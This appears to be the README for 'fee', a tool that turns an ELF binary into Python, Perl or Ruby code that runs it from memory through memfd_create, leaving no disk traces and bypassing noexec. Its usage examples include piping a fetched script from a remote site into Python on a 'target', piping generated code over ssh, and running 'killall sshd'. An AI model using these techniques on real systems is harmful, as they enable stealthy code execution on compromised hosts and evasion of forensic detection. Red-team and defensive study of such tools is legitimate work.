This Python script generates interpreted code which creates the supplied ELF as a file in memory and executes it (without tmpfs). This makes it possible to execute binaries without leaving traces on the disk.

The technique used for this is explained here.

With default options for each interpreter, running binaries using fee does not write to disk whatsoever. This can be verified using tools such as strace.

fee also completely ignores and bypasses noexec mount flags, even if they were set on /proc.

• kernel: 3.17 or later (for memfd_create support)
• An interpreter. Any of these:
  • Python 2
  • Python 3
  • Perl
  • Ruby

Install this on your host machine using pipx:

$ pipx install fee

... or regular pip:

$ pip install --user fee

You may also clone this repository and run the script directly.

Basic usage: supply the path to the binary you wish to drop:

$ fee /path/to/binary > output.py

You can then pipe this into Python on the target:

$ curl my.example.site/output.py | python

Alternatively, you may generate Perl or Ruby code instead with the --lang flag (-l):

$ fee /path/to/binary -l pl | perl

$ fee /path/to/binary -l rb | ruby

If you want to pipe over ssh, use the --with-command flag (-c) to wrap the output in python -c (or perl -e, ruby -e accordingly):

$ fee -c /path/to/binary | ssh user@target

When piping over ssh, you sometimes want to wrap the long line which holds the base64-encoded version of the binary, as some shells do not like super long input strings. You can accomplish this with the --wrap flag (-w):

$ fee -c /path/to/binary -w 64 | ssh user@target

If you want to customise the arguments, use the --argv flag (-a):

$ fee -a "killall sshd" ./busybox > output.py

If you don't wish to include the binary in the generated output, you can instruct fee to generate a script which accepts the ELF from stdin at runtime. For this, use - for the filename. You can combine all of these options for clever one-liners:

$ ssh user@target "$(fee -c -a "echo hi from stdin" -t "libc" -)" < ./busybox

hi from stdin

NB! By default, the script parses the encoded ELF's header to determine the target architecture. This is required to use the correct syscall number when calling memfd_create. If this fails, you can use the --target-architecture (-t) flag to explicitly generate a syscall number. Alternatively, you can use the libc target to resolve the symbol automatically at runtime, although this only works when generating Python code. For more exotic platforms, you should specify the syscall number manually. You need to search for memfd_create in your target's architecture's syscall table. This is located in various places in the Linux kernel sources. Just Googling [architecture] syscall table is perhaps the easiest. You can then specify the syscall number using the --syscall flag (-s).

Full help text:

usage: fee.py [-h] [-t ARCH | -s NUM] [-a ARGV] [-l LANG] [-c] [-p PATH] [-w CHARS] [-z LEVEL]
              path

Print code to stdout to execute an ELF without dropping files.

positional arguments:
  path                  path to the ELF file (use '-' to read from stdin at runtime)

optional arguments:
  -h, --help            show this help message and exit
  -t ARCH, --target-architecture ARCH
                        target platform for resolving memfd_create (default: detect from ELF)
  -s NUM, --syscall NUM
                        syscall number for memfd_create for the target platform
  -a ARGV, --argv ARGV  space-separated arguments (including argv[0]) supplied to execle (default:
                        path to file as argv[0])
  -l LANG, --language LANG
                        language for the generated code (default: python)
  -c, --with-command    wrap the generated code in a call to an interpreter, for piping directly
                        into ssh
  -p PATH, --interpreter-path PATH
                        path to interpreter on target if '-c' is used, otherwise a sane default is
                        used
  -w CHARS, --wrap CHARS
                        when base64-encoding the elf, how many characters to wrap to a newline
                        (default: 0)
  -z LEVEL, --compression-level LEVEL
                        zlib compression level, 0-9 (default: 9)